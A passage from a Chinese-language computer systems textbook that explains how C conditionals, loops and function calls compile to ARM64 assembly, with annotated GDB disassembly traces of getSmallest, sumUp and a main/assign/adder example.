+ 如果 `x` 小于或等于 `y`,程序将控制权转移到标记为 `else_statement` 的标签,该标签包含唯一语句 `smallest = x`。由于程序是线性执行的,接下来程序继续执行 `done` 标签下的代码,并返回 `smallest` 的值(即 `x`)。
+ 如果 `x` 大于 `y`,则将 `smallest` 设置为 `y`。程序接着执行语句 `goto done`,将控制权转移到 `done` 标签,返回 `smallest` 的值(即 `y`)。
尽管 `goto` 语句在早期编程中很常见,但在现代代码中使用 `goto` 被认为是不好的实践,因为它降低了代码的整体可读性。实际上,计算机科学家艾兹格尔·代克斯特拉(Edsger Dijkstra)曾写过一篇著名的论文,批评使用 `goto` 语句,名为《Go To 语句的危害》^(4)。
通常,设计良好的 C 程序不会使用 `goto` 语句,程序员应避免使用它们,以避免编写难以阅读、调试和维护的代码。然而,C 语言中的 `goto` 语句是重要的理解内容,因为 GCC 通常会在将 C 代码翻译成汇编之前,将包含条件语句和循环的 C 代码转化为 `goto` 形式。
以下小节将更详细地讨论 `if` 语句和循环的汇编表示。
#### 9.4.2 汇编中的 if 语句
让我们看一下汇编中的 `getSmallest` 函数。为了方便,函数在这里被重复展示。
int getSmallest(int x, int y) {
int smallest;
if ( x > y ) {
smallest = y;
}
else {
smallest = x;
}
return smallest;
}
从 GDB 中提取的相应汇编代码如下所示:
(gdb) disas getSmallest
Dump of assembler code for function getSmallest:
0x07f4 <+0>: sub sp, sp, #0x20
0x07f8 <+4>: str w0, [sp, #12]
0x07fc <+8>: str w1, [sp, #8]
0x0800 <+12>: ldr w1, [sp, #12]
0x0804 <+16>: ldr w0, [sp, #8]
0x0808 <+20>: cmp w1, w0
0x080c <+24>: b.le 0x81c <getSmallest+40>
0x0810 <+28>: ldr w0, [sp, #8]
0x0814 <+32>: str w0, [sp, #28]
0x0818 <+36>: b 0x824 <getSmallest+48>
0x081c <+40>: ldr w0, [sp, #12]
0x0820 <+44>: str w0, [sp, #28]
0x0824 <+48>: ldr w0, [sp, #28]
0x0828 <+52>: add sp, sp, #0x20
0x082c <+56>: ret
这是我们之前看到的不同视角的汇编代码。在这里,我们可以看到每条指令相关的*地址*,但看不到*字节*。请注意,为了简化起见,这段汇编代码做了轻微的编辑。按照惯例,GCC 将函数的第一个和第二个参数分别放在寄存器 `x0` 和 `x1` 中。由于 `getSmallest` 的参数是 `int` 类型,编译器将参数分别放入对应的组件寄存器 `w0` 和 `w1` 中。为了清晰起见,我们将这两个参数分别称为 `x` 和 `y`。
让我们逐步分析前面汇编代码片段的前几行。请注意,我们在这个例子中不会显式地绘制栈。我们将这部分留给读者作为练习,并鼓励你通过自己绘制来练习栈追踪技巧。
+ `sub` 指令将调用栈增长了 32 字节(0x20)。
+ `<getSmallest+4>` 和 `<getSmallest+8>` 处的 `str` 指令分别将 `x` 和 `y` 存储到栈位置 `sp` + 12 和 `sp` + 8。
+ `<getSmallest+12>` 和 `<getSmallest+16>` 处的 `ldr` 指令将 `x` 和 `y` 分别加载到寄存器 `w1` 和 `w0` 中。请注意,`w0` 和 `w1` 的原始内容已被交换!
+ `cmp` 指令将 `w1` 与 `w0` (即 `x` 与 `y`)进行比较,并设置相应的条件码标志寄存器。
+ `<getSmallest+24>` 处的 `b.le` 指令表示如果 `x` 小于或等于 `y`,下一条应执行的指令应位于 `<getSmallest+40>`(即 `pc` = 0x81c)。否则,`pc` 被设置为顺序中的下一条指令,即 0x810。
接下来执行的指令取决于程序是否遵循分支(即是否执行跳转)(` <getSmallest+24>`)。首先假设分支*未*被跟随。在这种情况下,`pc` 被设置为 0x810(即 `<getSmallest+28>`),接下来的指令序列执行:
+ `<getSmallest+28>` 处的 `ldr` 指令将 `y` 加载到寄存器 `w0` 中。
+ `<getSmallest+32>` 处的 `str` 指令将 `y` 存储在栈位置 `sp` + 28。
+ `<getSmallest+36>` 处的 `b` 指令将寄存器 `pc` 设置为地址 0x824。
+ `<getSmallest+48>` 处的 `ldr` 指令将 `y` 加载到寄存器 `w0` 中。
+ 最后的两条指令将调用栈恢复到其原始大小,并从函数调用中返回。在这种情况下,`y`位于返回寄存器`w0`中,`getSmallest`返回`y`。
现在,假设在`<getSmallest+24>`处确实进行了分支。换句话说,`b.le`指令将寄存器`pc`设置为 0x81c(即`<getSmallest+40>`)。然后,接下来的执行指令是:
+ `<getSmallest+40>`处的`ldr`指令将`x`加载到寄存器`w0`中。
+ `<getSmallest+44>`处的`str`指令将`x`存储在栈位置`sp` + 28。
+ `<getSmallest+48>`处的`ldr`指令将`x`加载到寄存器`w0`中。
+ 最后的两条指令将调用栈恢复到其原始大小,并从函数调用中返回。在这种情况下,`x`位于返回寄存器`w0`中,`getSmallest`返回`x`。
我们可以如下注释前面的汇编代码:
0x07f4 <+0>: sub sp, sp, #0x20 // grow stack by 32 bytes
0x07f8 <+4>: str w0, [sp, #12] // store x at sp+12
0x07fc <+8>: str w1, [sp, #8] // store y at sp+8
0x0800 <+12>: ldr w1, [sp, #12] // w1 = x
0x0804 <+16>: ldr w0, [sp, #8] // w0 = y
0x0808 <+20>: cmp w1, w0 // compare x and y
0x080c <+24>: b.le 0x81c <getSmallest+40> // if(x <= y) goto <getSmallest+40>
0x0810 <+28>: ldr w0, [sp, #8] // w0 = y
0x0814 <+32>: str w0, [sp, #28] // store y at sp+28 (smallest)
0x0818 <+36>: b 0x824 <getSmallest+48> // goto <getSmallest+48>
0x081c <+40>: ldr w0, [sp, #12] // w0 = x
0x0820 <+44>: str w0, [sp, #28] // store x at sp+28 (smallest)
0x0824 <+48>: ldr w0, [sp, #28] // w0 = smallest
0x0828 <+52>: add sp, sp, #0x20 // clean up stack
0x082c <+56>: ret // return smallest
将此转换回 C 代码,得到:
goto 形式
int getSmallest(int x, int y) {
int smallest=y;
if (x <= y) {
goto assign_x;
}
smallest = y;
goto done;
assign_x:
smallest = x;
done:
return smallest;
}
转换后的 C 代码
int getSmallest(int x, int y) {
int smallest=y;
if (x <= y) {
smallest = x;
}
else {
smallest = y;
}
return smallest;
}
在这些代码列表中,变量`smallest`对应于寄存器`w0`。如果`x`小于或等于`y`,代码将执行语句`smallest = x`,该语句与我们`goto`形式中的`assign_x`标签相关联。否则,执行语句`smallest = y`。`goto`标签`done`用于表示应返回`smallest`的值。
请注意,前面的 C 代码翻译与原始`getSmallest`函数略有不同。这些差异无关紧要;仔细检查这两个函数会发现,它们在逻辑上是等效的。然而,编译器首先将每个`if`语句转换为等效的`goto`形式,这导致了略有不同但等效的版本。以下代码列表展示了标准的`if`语句格式及其等效的`goto`形式。
C 语言的 if 语句
if (
<then_statement>;
}
else {
<else_statement>;
}
编译器的等效`goto`形式
if (!
goto else;
}
<then_statement>;
goto done;
else:
<else_statement>;
done:
编译器将代码转换为汇编时,会在条件为真时指定一个分支。与`if`语句的结构对比,当条件*不*为真时,会发生“跳转”(到`else`)。`goto`形式捕捉了这一逻辑差异。
考虑到原始`goto`翻译的`getSmallest`函数,我们可以看到:
+ `x <= y`对应于`!*<condition>*`。
+ `smallest = x`是<else_statement>。
+ `smallest = y`这一行是<then_statement>。
+ 函数中的最后一行是`return smallest`。
用前述注释重写原始版本的函数,得到如下:
int getSmallest(int x, int y) {
int smallest;
if (x > y) { //!(x <= y)
smallest = y; //then_statement
}
else {
smallest = x; //else_statement
}
return smallest;
}
这个版本与原始的`getSmallest`函数相同。请记住,虽然 C 代码级别写法不同,但最终可能翻译为相同的一组汇编指令。
##### 条件选择指令
我们要介绍的最后一个条件指令是*条件选择*(`csel`)指令。`cmp`、`tst`和`b`指令实现了程序中的*条件控制转移*。换句话说,程序的执行会在多个方向上进行分支。这对优化代码来说是非常棘手的,因为分支指令通常非常昂贵,执行时可能会干扰指令流水线(有关详细信息,请参见第 279 页的“流水线危险:控制危险”)。相比之下,`csel`指令实现了*条件数据转移*。换句话说,CPU 会执行*两个* <then_statement>和<else_statement>,并根据条件的结果将数据放入适当的寄存器中。
C 语言中的*三元表达式*常常导致编译器生成`csel`指令来替代分支指令。对于标准的 if–then–else 语句,三元表达式的形式是:
result = (
让我们使用这种格式将`getSmallest`函数重写为三元表达式。请记住,这个新版本的函数行为与原始的`getSmallest`函数完全相同:
int getSmallest_csel(int x, int y) {
return x > y ? y : x;
}
尽管这看起来可能不是一个大的改变,但让我们来看一下生成的汇编代码。回想一下,第一和第二个参数(`x`和`y`)分别存储在寄存器`w0`和`w1`中:
(gdb) disas getSmallest_csel
Dump of assembler code for function getSmallest_csel:
0x0860 <+0>: sub sp, sp, #0x10 // grow stack by 16 bytes
0x0864 <+4>: str w0, [sp, #12] // store x at sp+12
0x0868 <+8>: str w1, [sp, #8] // store y at sp+8
0x086c <+12>: ldr w0, [sp, #8] // w0 = y
0x0870 <+16>: ldr w2, [sp, #12] // w2 = x
0x0874 <+20>: ldr w1, [sp, #12] // w1 = x
0x0878 <+24>: cmp w2, w0 // compare x and y
0x087c <+28>: csel w0, w1, w0, le // if (x <= y) w0 = x, else w0=y
0x0880 <+32>: add sp, sp, #0x10 // restore sp
0x0884 <+36>: ret // return (w0)
这段汇编代码没有跳转。在对`x`和`y`进行比较后,只有在`x`小于或等于`y`时,`x`才会移动到返回寄存器`w0`中。
`csel`指令的结构是
csel D, R1, R2, C // if (C) D = R1 else D = R2
其中`D`表示目标寄存器,`R1`和`R2`是包含待比较值的两个寄存器,`C`是需要评估的条件。
至于分支指令,`csel`指令中的`C`部分表示条件选择发生的条件。它们与第 9-13 表中所示的条件相同,详见第 479 页。
在原始的`getSmallest`函数中,编译器的内部优化器(见第十二章)会在开启一级优化(即`-O1`)时,将`b`指令替换为`csel`指令:
// compiled with: gcc -O1 -o getSmallest getSmallest.c
Dump of assembler code for function getSmallest:
0x0734 <+0>: cmp w0, w1 // compare x and y
0x0738 <+4>: csel w0, w0, w1, le // if (x<=y) w0=x, else w0=y
0x073c <+8>: ret // return (w0)
一般来说,编译器对将分支指令优化为`csel`指令非常谨慎,特别是在涉及副作用和指针值的情况下。这里,我们展示了两种等效的`incrementX`函数写法:
C 代码
int incrementX(int * x) {
if (x != NULL) { //if x is not NULL
return (*x)++; //increment x
}
else { //if x is NULL
return 1; //return 1
}
}
C 三元表达式形式
int incrementX2(int * x){
return x ? (*x)++ : 1;
}
每个函数都接受一个指向整数的指针作为输入,并检查其是否为`NULL`。如果`x`不为`NULL`,函数将递增并返回`x`解引用后的值。否则,函数将返回值 1。
`incrementX2`看起来像是使用了`csel`指令,因为它使用了三元表达式。然而,两个函数生成的汇编代码完全相同:
// parameter x is in register x0
Dump of assembler code for function incrementX2:
0x0774 <+0>: mov w1, #0x1 // w1 = 0x1
0x0778 <+4>: cbz x0, 0x788 <incrementX2+20> // if(x==0) goto<incrementX2+20>
0x077c <+8>: ldr w1, [x0] // w1 = *x
0x0780 <+12>: add w2, w1, #0x1 // w2 = w1 + 1
0x0784 <+16>: str w2, [x0] // *x = w2
0x0788 <+20>: mov w0, w1 // w0 = *x
0x078c <+24>: ret // return (w0)
回想一下,`csel`指令*执行条件的两个分支*。换句话说,无论如何,`x`都会被解引用。考虑`x`为空指针的情况。回想一下,解引用空指针会导致空指针异常,从而导致段错误。为了防止发生这种情况,编译器采取了安全路径,并使用了分支。
#### 9.4.3 汇编中的循环
类似于`if`语句,汇编中的循环也使用分支指令实现。然而,循环使得根据评估条件的结果,指令可以*被重新访问*。
以下示例中的`sumUp`函数将从 1 到用户定义的整数*n*之间的所有正整数求和。这段代码故意写得不够优化,以说明 C 语言中的`while`循环。
int sumUp(int n) {
//initialize total and i
int total = 0;
int i = 1;
while (i <= n) { //while i is less than or equal to n
total += i; //add i to total
i++; //increment i by 1
}
return total;
}
编译这段代码并使用 GDB 反汇编后,得到以下汇编代码:
Dump of assembler code for function sumUp:
0x0724 <+0>: sub sp, sp, #0x20
0x0728 <+4>: str w0, [sp, #12]
0x072c <+8>: str wzr, [sp, #24]
0x0730 <+12>: mov w0, #0x1
0x0734 <+16>: str w0, [sp, #28]
0x0738 <+20>: b 0x758 <sumUp+52>
0x073c <+24>: ldr w1, [sp, #24]
0x0740 <+28>: ldr w0, [sp, #28]
0x0744 <+32>: add w0, w1, w0
0x0748 <+36>: str w0, [sp, #24]
0x074c <+40>: ldr w0, [sp, #28]
0x0750 <+44>: add w0, w0, #0x1
0x0754 <+48>: str w0, [sp, #28]
0x0758 <+52>: ldr w1, [sp, #28]
0x075c <+56>: ldr w0, [sp, #12]
0x0760 <+60>: cmp w1, w0
0x0764 <+64>: b.le 0x73c <sumUp+24>
0x0768 <+68>: ldr w0, [sp, #24]
0x076c <+72>: add sp, sp, #0x20
0x0770 <+76>: ret
同样,我们在这个例子中不会显式地绘制栈。然而,我们鼓励读者自行绘制栈。
##### 前五条指令
该函数的前五条指令为函数执行设置栈,并存储一些临时值:
0x0724 <+0>: sub sp, sp, #0x20 //grow stack by 32 bytes (new stack frame)
0x0728 <+4>: str w0, [sp, #12] //store n at sp+12 (n)
0x072c <+8>: str wzr, [sp, #24] //store 0 at sp+24 (total)
0x0730 <+12>: mov w0, #0x1 //w0 = 1
0x0734 <+16>: str w0, [sp, #28] //store 1 at sp+28 (i)
具体来说,它们:
+ 增加 32 字节的调用栈,标记新的栈帧。
+ 将第一个参数(`n`)存储在栈位置`sp` + 12。
+ 将值 0 存储在栈位置`sp` + 24,表示`total`。
+ 将值 1 复制到寄存器`w0`中。
+ 将值 1 存储在栈位置`sp` + 28,表示`i`。
回忆一下,栈位置存储函数中的*临时变量*。为了简化,我们将`sp` + 24 标记的位置称为`total`,`sp` + 28 标记的位置称为`i`。`sumUp`的输入参数(`n`)位于栈地址`sp` + 12。尽管临时变量已放置在栈上,但请记住,在执行第一条指令(`sub sp, sp, #0x20`)后,栈指针并没有改变。
##### 循环的核心
`sumUp`函数中的接下来的 12 条指令构成了循环的核心:
0x0738 <+20>: b 0x758 <sumUp+52> // goto <sumUp+52>
0x073c <+24>: ldr w1, [sp, #24] // w1 = total
0x0740 <+28>: ldr w0, [sp, #28] // w0 = i
0x0744 <+32>: add w0, w1, w0 // w0 = i + total
0x0748 <+36>: str w0, [sp, #24] // store (total + i) at sp+24 (total+=i)
0x074c <+40>: ldr w0, [sp, #28] // w0 = i
0x0750 <+44>: add w0, w0, #0x1 // w0 = i + 1
0x0754 <+48>: str w0, [sp, #28] // store (i+1) at sp+28 (i++)
0x0758 <+52>: ldr w1, [sp, #28] // w1 = i
0x075c <+56>: ldr w0, [sp, #12] // w0 = n
0x0760 <+60>: cmp w1, w0 // compare i and n
0x0764 <+64>: b.le 0x73c <sumUp+24> // if (i <= n) goto <sumUp+24>
+ 第一条指令是直接跳转到`<sumUp+52>`,将程序计数器寄存器(`pc`)设置为地址 0x758。
+ 接下来执行的两条指令(在`<sumUp+52>`和`<sumUp+56>`处)分别将`i`和`n`加载到寄存器`w1`和`w0`中。
+ `<sumUp+60>`处的`cmp`指令比较`i`和`n`,设置相应的条件标志。程序计数器`pc`将前进到下一条指令,或者地址 0x764。
+ `<sumUp+64>`处的`b.le`指令在`i`小于或等于`n`时,将`pc`寄存器替换为地址 0x73c。
如果分支被执行(也就是说,`i <= n`),程序执行跳转到`<sumUp+24>`,并执行以下指令:
+ `<sumUp+24>`和`<sumUp+28>`处的`ldr`指令分别将`total`和`i`加载到寄存器`w1`和`w0`中。
+ `<sumUp+32>`处的`add`指令将`total`和`i`相加(`i + total`),并将结果存储在`w0`中。
+ `<sumUp+36>`处的`str`指令随后将寄存器`w0`中的值更新到`total`中(`total = total + i`)。
+ `<sumUp+40>`处的`ldr`指令将`i`加载到寄存器`w0`中。
+ `<sumUp+44>`处的`add`指令将 1 加到`i`上,并将结果存储在寄存器`w0`中。
+ `<sumUp+48>`处的`str`指令将寄存器`w0`中的值更新到`i`中(`i = i + 1`)。
+ `<sumUp+52>`和`<sumUp+56>`处的`ldr`指令分别将`i`和`n`加载到寄存器`w1`和`w0`中。
+ `<sumUp+60>`处的`cmp`指令将`i`与`n`进行比较,并设置适当的条件码标志。
+ 然后执行`b.le`指令。如果`i`小于或等于`n`,程序执行跳转回`<sumUp+24>`,`pc`被设置为 0x73c,`<sumUp+24>`到`<sumUp+64>`之间的指令会重复执行。否则,寄存器`pc`被设置为下一个指令的地址,即 0x768(`<sumUp+68>`)。
如果分支*没有*被采取(即`i`大于`n`),则执行以下指令:
0x0768 <+68>: ldr w0, [sp, #24] // w0 = total
0x076c <+72>: add sp, sp, #0x20 // restore stack
0x0770 <+76>: ret // return w0 (total)
这些指令将`total`复制到返回寄存器`w0`中,通过缩小`sp`恢复调用栈,并退出函数。因此,函数在退出时返回`total`。
以下代码列出了`sumUp`函数的汇编和 C 语言`goto`形式:
汇编
<+0>: sub sp, sp, #0x20
<+4>: str w0, [sp, #12]
<+8>: str wzr, [sp, #24]
<+12>: mov w0, #0x1
<+16>: str w0, [sp, #28]
<+20>: b 0x758 <sumUp+52>
<+24>: ldr w1, [sp, #24]
<+28>: ldr w0, [sp, #28]
<+32>: add w0, w1, w0
<+36>: str w0, [sp, #24]
<+40>: ldr w0, [sp, #28]
<+44>: add w0, w0, #0x1
<+48>: str w0, [sp, #28]
<+52>: ldr w1, [sp, #28]
<+56>: ldr w0, [sp, #12]
<+60>: cmp w1, w0
<+64>: b.le 0x73c <sumUp+24>
<+68>: ldr w0, [sp, #24]
<+72>: add sp, sp, #0x20
<+76>: ret
翻译后的 goto 形式
int sumUp(int n) {
int total = 0;
int i = 1;
goto start;
body:
total += i;
i += 1;
start:
if (i <= n) {
goto body;
}
return total;
}
前面的代码也等价于以下没有`goto`语句的 C 代码:
int sumUp(int n) {
int total = 0;
int i = 1;
while (i <= n) {
total += i;
i += 1;
}
return total;
}
##### 汇编中的 for 循环
`sumUp`函数中的主要循环也可以写成`for`循环:
int sumUp2(int n) {
int total = 0; //initialize total to 0
int i;
for (i = 1; i <= n; i++) { //initialize i to 1, increment by 1 while i<=n
total += i; //updates total by i
}
return total;
}
这会生成与我们的`while`循环示例相同的汇编代码。我们在此重复汇编代码,并用英文翻译标注每一行:
Dump of assembler code for function sumUp2:
0x0774 <+0>: sub sp, sp, #0x20 // grow stack by 32 bytes (new frame)
0x0778 <+4>: str w0, [sp, #12] // store n at sp+12 (n)
0x077c <+8>: str wzr, [sp, #24] // store 0 at sp+24 (total)
0x0780 <+12>: mov w0, #0x1 // w0 = 1
0x0784 <+16>: str w0, [sp, #28] // store 1 at sp+28 (i)
0x0788 <+20>: b 0x7a8 <sumUp2+52> // goto <sumUp2+52>
0x078c <+24>: ldr w1, [sp, #24] // w1 = total
0x0790 <+28>: ldr w0, [sp, #28] // w0 = i
0x0794 <+32>: add w0, w1, w0 // w0 = total + i
0x0798 <+36>: str w0, [sp, #24] // store (total+i) in total
0x079c <+40>: ldr w0, [sp, #28] // w0 = i
0x07a0 <+44>: add w0, w0, #0x1 // w0 = i + 1
0x07a4 <+48>: str w0, [sp, #28] // store (i+1) in i (i.e., i+=1)
0x07a8 <+52>: ldr w1, [sp, #28] // w1 = i
0x07ac <+56>: ldr w0, [sp, #12] // w0 = n
0x07b0 <+60>: cmp w1, w0 // compare i and n
0x07b4 <+64>: b.le 0x78c <sumUp2+24> // if (i <= n) goto <sumUp2+24>
0x07b8 <+68>: ldr w0, [sp, #24] // w0 = total
0x07bc <+72>: add sp, sp, #0x20 // restore stack
0x07c0 <+76>: ret // return w0 (total)
为了理解为什么`for`循环版本的代码会生成与`while`循环版本相同的汇编代码,请记住`for`循环具有以下表示形式。
for (
}
这等价于以下的`while`循环表示:
while (
}
由于每个`for`循环都可以用`while`循环表示(见第 35 页中的“for 循环”),以下两个 C 程序是前面汇编代码的等价表示:
for 循环
int sumUp2(int n) {
int total = 0;
int i = 1;
for (i; i <= n; i++) {
total += i;
}
return total;
}
while 循环
int sumUp(int n){
int total = 0;
int i = 1;
while (i <= n) {
total += i;
i += 1;
}
return total;
}
### 9.5 汇编中的函数
在上一节中,我们跟踪了汇编中的简单函数。在本节中,我们讨论了在更大程序的上下文中多个函数之间的交互。我们还介绍了一些与函数管理相关的新指令。
让我们从复习调用栈的管理方式开始。回想一下,`sp` 是 *栈指针*,总是指向栈顶。寄存器 `x29` 代表基指针(也称为 *帧指针* 或 `FP`),指向当前栈帧的底部。*栈帧*(也称为 *激活帧* 或 *激活记录*)指的是为单个函数调用分配的栈内存区域。当前执行的函数总是位于栈的顶部,且其栈帧被称为 *活动帧*。活动帧的边界由栈指针(栈顶,较低地址)和帧指针(帧底部,较高地址)确定。激活记录通常包含函数的局部变量。最后,*返回地址* 表示调用函数(例如,`main`)在被调用函数退出后将恢复执行的程序地址。在 A64 系统中,返回地址存储在寄存器 `x30`(也称为 `LR`)中。
图 9-4 显示了 `main` 函数及其调用的函数 `fname` 的栈帧。我们将 `main` 函数称为 *调用者* 函数,将 `fname` 函数称为 *被调用者* 函数。

*图 9-4:栈帧管理*
在图 9-4 中,当前活动帧属于被调用函数 (`fname`)。调用栈中从栈指针到帧指针的区域用于存储局部变量。随着局部变量被压入和弹出栈,栈指针会移动。帧指针在优化后的代码中通常不常用,且通常是可选操作。因此,像 GCC 这样的编译器通常会相对于栈指针引用栈上的值。在图 9-4 中,活动帧的下边界由 `fname` 的基指针或 `x29` 确定,它包含栈地址 0xef30。地址 0xef30 中存储的值是“保存的”帧指针值 (0xef50),它本身指示 `main` 函数的激活帧底部。在帧指针下方是一个保存的 *返回地址*(存储在 `x30` 中),它表示程序在 `main` 退出后将继续执行的地址。
**警告:返回地址指向代码内存,而非栈内存**
回想一下,程序的调用栈区域(栈内存)与其代码区域(代码内存)是不同的。`sp` 和 `x29` 指向栈内存中的地址,而 `pc` 指向代码内存中的地址。换句话说,返回地址是代码内存中的地址,而非栈内存中的地址(见图 9-5)。

*图 9-5:程序地址空间的各个部分*
表 9-14 包含编译器用于基本函数管理的几个附加指令。
**表 9-14:** 常见的函数管理指令
| **指令** | **翻译** |
| --- | --- |
| `bl addr <fname>` | 设置 `x30` = `pc` + 4,并将 `pc` 设置为 addr |
| `blr R <fname>` | 设置 `x30` = `pc` + 4,并将 `pc` 设置为 R |
| `ret` | 返回 `x0` 中的值,并将 `pc` 设置为 `x30` |
`bl` 和 `ret` 指令在一个函数调用另一个函数的过程中起着重要作用。这两条指令都会修改指令指针(寄存器 `pc`)。当调用函数执行 `bl` 指令时,`pc` + 4 的值会保存在寄存器 `x30` 中,表示返回地址,或者说是调用函数在被调用函数执行完毕后恢复执行的程序地址。`bl` 指令还将 `pc` 的值替换为被调用函数的地址。
`ret` 指令将 `pc` 的值恢复为保存在 `x30` 中的值,确保程序从调用函数指定的地址恢复执行。被调用函数返回的任何值都存储在寄存器 `x0` 或其组件寄存器 `w0` 中。`ret` 指令通常是任何函数中执行的最后一条指令。
#### 9.5.1 函数参数
函数参数通常在函数调用之前被预先加载到寄存器中。传递给函数的前八个参数存储在寄存器 `x0` 到 `x7` 中。如果一个函数需要更多的参数,剩余的参数会根据其大小依次加载到调用栈中(32 位数据使用 4 字节偏移,64 位数据使用 8 字节偏移)。
#### 9.5.2 跟踪一个示例
使用我们对函数管理的了解,让我们跟踪通过本章开头介绍的代码示例。
include <stdio.h>
int assign() {
int y = 40;
return y;
}
int adder() {
int a;
return a + 2;
}
int main() {
int x;
assign();
x = adder();
printf("x is: %d\n", x);
return 0;
}
我们使用命令 `gcc -o prog prog.c` 编译这段代码,并使用 `objdump -d` 查看底层汇编。后者命令输出了一个相当大的文件,包含了很多我们不需要的信息。可以使用 `less` 和搜索功能提取 `adder`、`assign` 和 `main` 函数:
0000000000000724
724: d10043ff sub sp, sp, #0x10
728: 52800500 mov w0, #0x28 // #40
72c: b9000fe0 str w0, [sp, #12]
730: b9400fe0 ldr w0, [sp, #12]
734: 910043ff add sp, sp, #0x10
738: d65f03c0 ret
000000000000073c
73c: d10043ff sub sp, sp, #0x10
740: b9400fe0 ldr w0, [sp, #12]
744: 11000800 add w0, w0, #0x2
748: 910043ff add sp, sp, #0x10
74c: d65f03c0 ret
0000000000000750
750: a9be7bfd stp x29, x30, [sp, #-32]!
754: 910003fd mov x29, sp
758: 97fffff3 bl 724
75c: 97fffff8 bl 73c
760: b9001fa0 str w0, [x29, #28]
764: 90000000 adrp x0, 0 <_init-0x598>
768: 91208000 add x0, x0, #0x820
76c: b9401fa1 ldr w1, [x29, #28]
770: 97ffffa8 bl 610 printf@plt
774: 52800000 mov w0, #0x0 // #0
778: a8c27bfd ldp x29, x30, [sp], #32
77c: d65f03c0 ret
每个函数以一个符号标签开始,该标签对应程序中声明的函数名。例如,`<main>:` 是 `main` 函数的符号标签。函数标签的地址也是该函数中第一条指令的地址。为了节省接下来的图示空间,我们将代码地址截断为低 12 位,将堆栈地址截断为低 16 位。因此,堆栈地址 `0xffffffffef50` 显示为 `0xef50`。
#### 9.5.3 跟踪 `main`
图 9-6 显示了在执行 `main` 函数之前,执行栈的状态。

*图 9-6:执行 `main` 函数前,CPU 寄存器和调用栈的初始状态*
回想一下,堆栈是向较低地址增长的。在这个示例中,帧指针和堆栈指针(`x29` 和 `sp`)都包含地址 `0xef50`。最初,`pc` 是 `main` 函数中第一条指令的地址,或者说是 `0x750`。寄存器 `x30` 和 `w0` 在这个示例中也被高亮显示,它们都包含初始的垃圾值。

第一条指令(`stp`)是一个复合指令,包含两个部分。首先,第二个操作数(`[sp, #-32]!`)将栈指针减少 32 字节,从而为当前栈帧分配空间。在操作数求值后,栈指针更新为 0xef30。接下来,`stp` 指令将 `x29` 和 `x30` 的当前值分别存储在 `sp` 和 `sp` + 8 的位置。指令指针 `pc` 移动到下一条指令。

下一条指令(`mov x29, sp`)将寄存器 `x29` 的值更新为与 `sp` 相同。因此,帧指针(`x29`)现在指向 `main` 函数栈帧的起始位置。指令指针 `pc` 移动到下一条指令。

第一条 `bl` 指令将 `pc` + 4(即 0x75c)存储在寄存器 `x30` 中,这个地址是程序在 `assign` 函数返回后将在 `main` 中恢复执行的位置。接着,寄存器 `pc` 被更新为地址 0x724,表示 `assign` 函数中第一条指令的地址。

执行的下一条指令是 `assign` 中的第一条指令。`sub` 指令将栈指针减少 16 字节。请注意,`x29` 和 `sp` 现在表示 `assign` 函数的活动栈帧边界。程序计数器移动到下一条指令。

`mov` 指令将常数值 0x28 存储到寄存器 `w0` 中。寄存器 `pc` 移动到下一条指令。

`str` 指令将 0x28 存储在栈指针偏移 12 字节的位置,或地址 0xef2c。指令指针移动到下一条指令。

`ldr` 指令将 0x28 从栈地址 0xef2c 加载到寄存器 `w0` 中。指令指针移动到下一条指令。

`add` 指令回收当前栈帧,并将 `sp` 恢复为之前的值,即 0xef30。

`ret` 指令将 `pc` 中的值替换为 `x30` 中的值,或 0x75c。结果,程序执行将立即返回到 `main` 函数中调用 `assign` 后的第一条指令。

执行的下一条指令是对 `adder` 函数的调用(或 `bl 73c` `<adder>`)。因此,寄存器 `x30` 被更新为 `pc` + 4,即 0x760。程序计数器被替换为地址 0x73c,表示程序继续执行到 `adder` 函数。

`adder`函数中的第一条指令将栈指针减少 16 字节,为`adder`函数分配新的栈帧。请注意,`adder`函数的活动栈帧边界由寄存器`sp`和`x29`指定。指令指针继续执行下一个指令。

接下来的操作至关重要。`ldr`指令从栈中(在`sp` + 12 处)加载一个*旧*值到寄存器`w0`中。这是由于程序员忘记初始化`adder`函数中的`a`变量。指令指针继续执行下一个指令。

然后,`add`指令将 0x2 加到寄存器`w0`中的值,并将结果(0x2A)存储回寄存器`w0`。指令指针继续执行下一个指令。

接下来的`add`指令将栈指针增加 16 字节,从而销毁`adder`的活动栈帧,并将`sp`恢复到之前的值。指令指针继续执行下一个指令。

最后,`ret`指令用寄存器`x30`中的地址覆盖`pc`,指示程序执行应在代码段地址 0x760 的`main`函数中继续。

回到`main`函数时,程序地址 0x760 处的`str`指令将寄存器`w0`(0x2A)中的内容存储到离帧指针(`x29`)28 字节的调用栈位置。因此,0x2A 存储在栈地址 0xef4c。

接下来的两条指令一起将页面的地址加载到寄存器`x0`中。由于地址长度为 8 字节,因此使用 64 位寄存器`x0`,而不是它的 32 位组件`w0`。`adrp`指令将地址(0x0)加载到寄存器`x0`中,而位于代码段地址 0x768 的`add`指令将 0x820 的值加到其中。这两条指令执行完毕后,寄存器`x0`包含了内存地址 0x820。请注意,存储在地址 0x820 的值是字符串`"x is` `%d\n"`。

接下来,位于程序地址 0x76c 的`ldr`指令将 0x2A(该值位于距帧指针 28 字节的偏移处)加载到寄存器`w1`中。

下一条指令调用`printf`函数。为了简洁起见,我们将不会跟踪`printf`函数,它是`stdio.h`的一部分。然而,我们从手册页面(`man -s3 printf`)中知道,`printf`具有以下格式:
int printf(const char * format, ...)
换句话说,第一个参数是指向指定格式的字符串的指针,从第二个参数开始,后续的参数指定在该格式中使用的值。地址 0x764–0x770 指定的指令对应于`main`函数中的以下一行:
printf("x is %d\n", x);
当调用`printf`函数时:
+ 返回地址(`pc` + 4 或 0x774)存储在寄存器`x30`中。
+ 寄存器`pc`切换到地址 0x610,这是`printf`函数的起始地址。
+ 寄存器`sp`被更新,以反映`printf`函数的新栈帧。
在某个时刻,`printf`引用了它的参数,这些参数是字符串`"x is %d\n"`和值 0x2A。回想一下,对于任何带有*n*个参数的函数,gcc 将前八个参数放入寄存器`x0`到`x7`中,剩余的参数则放到栈中*在*帧指针下方。在这个例子中,第一个参数存储在寄存器`x0`中(因为它是一个指向字符串的地址),第二个参数存储在组件寄存器`w1`中。
在调用`printf`之后,值 0x2A 以整数格式输出给用户。因此,值 42 被打印到屏幕上。栈指针恢复到之前的值,`pc`更新为寄存器`x30`中存储的值,即 0x774。

地址 0x774 处的`mov`指令将常数值`#0x0`加载到组件寄存器`w0`中。这表示`main`函数执行完毕后将返回的值。程序计数器将推进到下一条指令。

